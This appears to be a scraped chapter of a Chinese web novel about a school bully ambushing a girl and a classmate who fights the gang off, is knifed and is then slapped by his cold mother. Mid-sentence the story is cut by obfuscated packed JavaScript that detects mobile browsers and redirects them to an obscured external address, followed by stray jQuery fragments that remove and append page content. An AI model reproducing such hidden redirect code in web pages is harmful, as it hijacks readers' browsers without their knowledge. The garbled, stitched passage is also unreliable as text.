杨嘉昊最近一直对陈棠的拒绝耿耿于怀，他还没被人这么下过面子，一个没背景也没什么存在感的人凭什么拒绝他？


    但那次告白以后陈棠老远见到他都会绕道走，杨嘉昊没机会和她说话，这让他更是窝火得很。


    他暗中观察陈棠好几天，发现她除了和同桌李宗潞走得近点，在本班基本没什么朋友。外班有联系的倒是有一个——姜止。这个人他恰好熟悉，他的心里慢慢诞生一个大胆的念头。


    陈棠和姜止的家顺路，两人每天结伴一起回家。


    冬天马上正式来临，江城的天气越来越冷。晚自习放学时，教室的窗外弦月如钩，陈棠慢慢收拾好书包去十六班教室门口等值日的姜止一起回家。


    姜止擦完黑板从教室走出来和陈棠说：“棠棠，我想去小卖部买个笔记本，一起吗？”


    陈棠点头，姜止高兴地挽过她的手。


    教学楼里的人已经走得差不多，两人很快来到小卖部的必经之路——学生公寓旁边的小亭子。那里只有一个忽闪忽闪的路灯在坚持地工作，昏暗的灯光甚至照不清前方的路。


    陈棠没带手机，她拉住姜止校服衣角小声说：“姜止，你、你开一下手电筒可以吗，前面有点黑。”


    “不用麻烦她，这点小事我来不就好了，同学之间就应该互帮互助。对吧，陈棠同学？”


    杨嘉昊不怀好意的声音从前方响起，他打开手电筒走到陈棠身前，站在他身后的几个男生把她们围在中间。


    姜止对杨嘉昊的方向翻个白眼：“人我带到了，收着点。”


    今晚的一切不过是他们设的一个局，为了引出陈棠的局。


    陈棠满眼受伤的看向姜止，姜止毫无歉意地开口:“啊，一直忘告诉你了，杨嘉昊是我表哥。”


    姜止推开身边的男生，头也不回地走了。


    陈棠被身后的人猛地一推，狼狈跌倒在地上，其他人哈哈大笑。


    杨嘉昊居高临下地低头看向她：“我再给你一次机会，你确定还要拒绝我吗？”


    陈棠紧抿嘴唇，小范围四周观察希望能看到认识的人。但很可惜这片晚上几乎没什么人路过，就在她彻底绝望前，突然瞥见邢科墨嘴里叼着一根棒棒糖从不远处经过。


    她仿佛看到了希望，刚准备开口呼救突然想起邢科墨和杨嘉昊是同桌，并且关系好像还不错。


    如果叫住他，他是会救自己还是会成为杨嘉昊的帮手？


    陈棠在班级里和他毫无交情，她犹豫的时刻，眼睁睁看着邢科墨和他们擦肩而过走向小卖部。


    她的眼眶里蓄满眼泪，彻底放弃挣扎。


    “干什么呢，这么热闹？”


    在杨嘉昊伸出手的那一刻，邢科墨的声音在他身后响起。


    陈棠呆呆地望着邢科墨，眼泪顺着脸颊滑落而下，她没想到他竟然返了回来。


    杨嘉昊不痛快地收回手扭头看向邢科墨：“你要拦我？”


    邢科墨把手里拿着的棒棒糖用手纸包好扔进垃圾桶:“不然呢？”


    杨嘉昊今晚带了五个人来，一点儿也不怕他，威胁道：“兄弟一场，你现在装作什么都没看见就什么都不会发生。但你要是在这和我动手，我有的是办法让学校把你开除，要试试看吗？”


    邢科墨对他威胁的话语嗤之以鼻，见他们注意力都集中在他身上，他用眼神示意让陈棠赶紧跑。陈棠对他发出的信号只反应过来一半，她趁机把自己挪到一个还算安全的位置。


    她不是不想跑，只是腿软得厉害实在站不起来。


    邢科墨飞快和她对视一眼，不再和杨嘉昊他们废话，他就近掰了一段树枝，对几人勾勾手指：“你们是一个一个上，还是一起来?”


    他挑衅的态度把杨嘉昊彻底激怒：“一起上，他就一个人有什么好怕的？”


    杨嘉昊明显低估了邢科墨的战斗力，等年级主任手机灯光照向他们这边的时候，包括他在内的几个男生无一例外被邢科墨放倒在地。


    几人耳边响起王平中气十足的怒斥声：“大晚上不回家在这聚众打架，你们要造反吗？”


    他手电筒的灯光照在邢科墨身上，“好啊邢科墨，你不回寝室在这约上架了是吧！”


    被点名的人偏头“啧”了一声，在王平走过来之前偷偷把右手背到身后。


    他站在陈棠身前除了衣服略显凌乱看不出其他外伤，而其他的人就比较惨了，一个个躺在地上哀嚎。


    杨嘉昊指着邢科墨向王平告状：“主任，是他先打的人。”


    王平对他说的话将信将疑：“那他为什么打你？”


    “我和朋友是放学以后听到陈棠的求救声找过来的，然后撞见邢科墨拿着一把弹簧刀离陈棠特别近。”杨嘉昊边说边用眼神威胁陈棠让她不要多话，“我们想着赶紧去制止他，然后被他打了。”


    地下确实有一把弹簧刀，上面沾着不知道谁的血。


    邢科墨站在原地扭头望向别处，一声不吭。


    一直瘫坐在地上的陈棠艰难地站起身，走到邢科墨面前抬起头看王平，说话声带着无法忽视的颤抖：“老师，我、我可以作证。”


    邢科墨错愕的看着陈棠把过程一五一十地说给王平，她越说王平脸色越难看，最后彻底黑得滴墨。


    他直接甩了一句“明天通通请家长来学校处理”就生气地走了。


    见人走远，陈棠小声对邢科墨开口：“你的手......要不要去处理一下。”


    邢科墨伸出右手，鲜血几乎浸满整个手心，看起来尤为可怖。那是刚才王平走过来的时候躺在地上的一个男生趁他不注意发狠在他手上划的一刀。


    陈棠眼里盛着泪光盯着他的手看，邢科墨见她又要掉眼泪，整个人都不好了。


    他连忙收回自己的手，语气疲惫开口：“太晚了，我送你回家吧。”


    地上的几人等到看不见邢科墨的人影才一个个地哀嚎起身。


    杨嘉昊狠狠啐了一口，骂道：“真是个疯子。”


    校门外，邢科墨拦下一辆车，拍下车牌号的照片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115239|164049||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，在陈棠上车前叮嘱道：“到家给我发个微信。”


    见车子开远，他又拦下一辆出租。出租师傅问他：“去哪啊，小伙子。”


    邢科墨缓缓吐出一口气：“市医院。”


    到了市医院他几乎是颤抖着手挂的号。诊室里医生用棉签蘸上碘伏给他伤口消毒，看他全程一声不响只是拧紧着眉头，忍不住问他：“疼了吧？”


    “不疼。”


    这小伙子嘴还挺硬。


    医生用纱布包扎好伤口收起工具：“看起来挺严重，但没伤到筋骨，千万不能碰水。”


    邢科墨听到他说没伤筋骨之后明显松了口气，忍不住问道：“多久能恢复？”


    “至少十天。”


    行吧，十天不能练习和写字而已，当给自己放个假了。


    等他回到学校的时候，寝室宵禁早过了。虽然和宿管求求情有能进宿舍的可能，但他现在伤了手不方便爬墙。


    他考虑一会儿，决定去学校附近的网吧包宿凑合一晚。


    到网吧后，他用电脑登上微信发现陈棠给他发了消息：已平安到家，今天谢谢你。


    邢科墨回复一个”嗯“字，打开和周长礼的聊天框告诉他今晚有事不回宿舍了。


    发完不等那边的回复，他整个人懒懒躺在电脑旁的长椅上，翻个身的功夫没忍住”嘶“了一声，撩开上衣一看发现小腹处不知道什么时候挨了一拳，随着动作有细微的疼痛。


    见状他又翻了回去，不过一条长椅对于他的身高来说很难睡得舒坦，直到后半夜困意上来，他才艰难睡了过去。


    第二天早自习杨嘉昊没来，他和陈棠被江吟叫到了办公室。


    办公室里一位穿着大方得体的妇女端庄地坐在椅子上，她看到邢科墨进来后低下头漫不经心地摆弄自己的美甲，一言不发。


    邢科墨在从班主任那得知她过来的消息时内心生出几分异样。


    见面之后要说什么呢？和她说自己和别人打架是为了帮助班级的同学，自己好像也没那么糟糕，还是和她说当时那个男生拿刀把自己手割伤的时候他以为自己再也弹不了钢琴而险些崩溃。


    他纠结了一路，在见到辛雨竹那一刻所有的话语都被堵在口中，一句完整的话都说不出来。


    这么多年过去，他还是最怕和她交流。


    他踌躇半晌，小声地叫了一声“妈”。


    辛雨竹不悦皱眉，猛地站起身扬手狠狠扇了他一耳光。


    邢科墨狼狈地捂住脸，别过头一声不吭。


    辛雨竹从他身边绕过，对门口怔愣的江吟开口：“让老师见笑了，是我教子无方。学校对他做任何处置我全部接受，如果处理过程有什么需要家长签字的地方让他自己签吧。他马上成年了，也是时候该为自己做过的事承担后果。”


    “我还有工作要忙，先走一步。”说完话她拎起包，头也不回地走出办公室。


    随着身后的关门声，邢科墨低垂下头，他眼里最后的光一点点消散，最后彻底地归为平静。